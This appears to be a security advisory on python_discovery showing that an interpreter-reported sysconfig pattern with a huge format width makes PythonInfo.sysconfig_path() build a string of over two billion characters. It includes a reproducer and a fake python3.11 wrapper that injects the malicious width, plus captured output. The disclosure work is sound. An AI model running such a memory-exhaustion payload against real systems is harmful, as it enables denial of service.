Repository navigation
Description
A probed interpreter's sysconfig path pattern can make PythonInfo.sysconfig_path() allocate a path over a billion characters long.
Affected code
src/python_discovery/_py_info.py:142 at the reported commit. The reproducer also returns BUG on current main 004294957ed227fe7e52b2864952ba09fd28b220.
Mechanism
The method feeds the interpreter-reported pattern to str.format, so a field width in that pattern controls the allocation.
Reproduction
Check out the reported commit or current main. Save the files below as named, then build and run:
docker build -t python-discovery-audit -f - . <<'DOCKERFILE'
FROM python:3.15-bookworm
RUN python -m venv /opt/venv
ENV PATH=/opt/venv/bin:$PATH
COPY . /src
WORKDIR /src
ENV SETUPTOOLS_SCM_PRETEND_VERSION=1.9.1
RUN pip install -e . --group test
DOCKERFILE
docker run --rm --network=none --memory=2g -u 0 -w /src \
-v "$PWD/repro:/tmp/repro:ro" -v "$PWD/repro.d:/tmp/repro.d:ro" \
python-discovery-audit /tmp/reprorepro
#!/usr/bin/env python3
import json
import os
import shutil
import subprocess
import tempfile
from pathlib import Path
PYTHON = "/opt/venv/bin/python" # the image's venv, with python-discovery installed from /src
CALLER = "/tmp/repro.d/find_site_packages.py"
work = Path(tempfile.mkdtemp())
def find_site_packages(path_dir):
"""Run the caller with path_dir as its whole PATH and an empty cache; return its JSON report and peak RSS in MiB."""
cache_dir = tempfile.mkdtemp(dir=work)
caller = subprocess.Popen([PYTHON, CALLER, path_dir, cache_dir], stdout=subprocess.PIPE, text=True)
output = caller.stdout.read()
_, status, usage = os.wait4(caller.pid, 0)
assert status == 0, "the caller failed"
return json.loads(output), usage.ru_maxrss >> 10 # Linux reports KiB
# set up: a PATH directory whose only entry is the attacker's python3.11
path_dir = work / "bin"
path_dir.mkdir()
candidate = path_dir / "python3.11"
shutil.copy("/tmp/repro.d/python3.11_wide_purelib", candidate)
candidate.chmod(0o755)
# control: the same caller, finding the honest /usr/bin/python3.11
control, control_mib = find_site_packages("/usr/bin")
print(f"CONTROL selected {control['executable']}, purelib pattern {control['purelib_pattern']!r}")
print(f"CONTROL site-packages path: {control['site_packages_length']} characters, caller peak RSS {control_mib} MiB")
# attack
observed, observed_mib = find_site_packages(str(path_dir))
print(f"OBSERVED selected {observed['executable']}, purelib pattern {observed['purelib_pattern']!r}")
print(f"OBSERVED site-packages path: {observed['site_packages_length']} characters, caller peak RSS {observed_mib} MiB")
print(f"OBSERVED path ends in {observed['site_packages_tail']!r}")
shutil.rmtree(work)
# check: one path string of over a billion characters, and the caller paid for it in memory
print("BUG" if observed["site_packages_length"] > 10**9 and observed_mib > 1024 else "OK")repro.d/find_site_packages.py
import json
import sys
from pathlib import Path
from python_discovery import DiskCache, get_interpreter
path_dir, cache_dir = sys.argv[1:]
info = get_interpreter("3.11", env={"PATH": path_dir}, cache=DiskCache(Path(cache_dir)))
site_packages = info.install_path("purelib")
print(
json.dumps({
"executable": info.executable,
"purelib_pattern": info.sysconfig_paths["purelib"],
"site_packages_length": len(site_packages),
"site_packages_tail": site_packages[-40:],
})
)repro.d/python3.11_wide_purelib
#!/usr/bin/python3.11
import subprocess
import sys
# argv[0] stays this file's path, so the real 3.11 answers the interrogation naming this file as the interpreter
answer = subprocess.run(
sys.argv, executable="/usr/bin/python3.11", stdout=subprocess.PIPE, text=True, check=True
).stdout
sys.stdout.write(answer.replace('"purelib": "{base}', '"purelib": "{base:>2000000000}'))Output on 004294957ed227fe7e52b2864952ba09fd28b220:
CONTROL selected /usr/bin/python3, purelib pattern '{base}/lib/python{py_version_short}/site-packages'
CONTROL site-packages path: 28 characters, caller peak RSS 24 MiB
OBSERVED selected /tmp/tmp3j82sgys/bin/python3.11, purelib pattern '{base:>2000000000}/lib/python{py_version_short}/site-packages'
OBSERVED site-packages path: 2000000029 characters, caller peak RSS 1931 MiB
OBSERVED path ends in ' /lib/python3.11/site-packages'
BUG
Expected: The method should reject or bound format widths supplied by the interpreter.
Impact
Reproducibility is moderate because the setup requires a specific candidate or configuration. Exposure is unlikely: a candidate executable must report a malformed sysconfig pattern and the caller must request that path. The reproduced effect stays within the caller's configured cache, search path, or interpreter.
Credits
Reported by Anthropic's OSS Scanner: ANT-2026-XID4AAXX.
Activity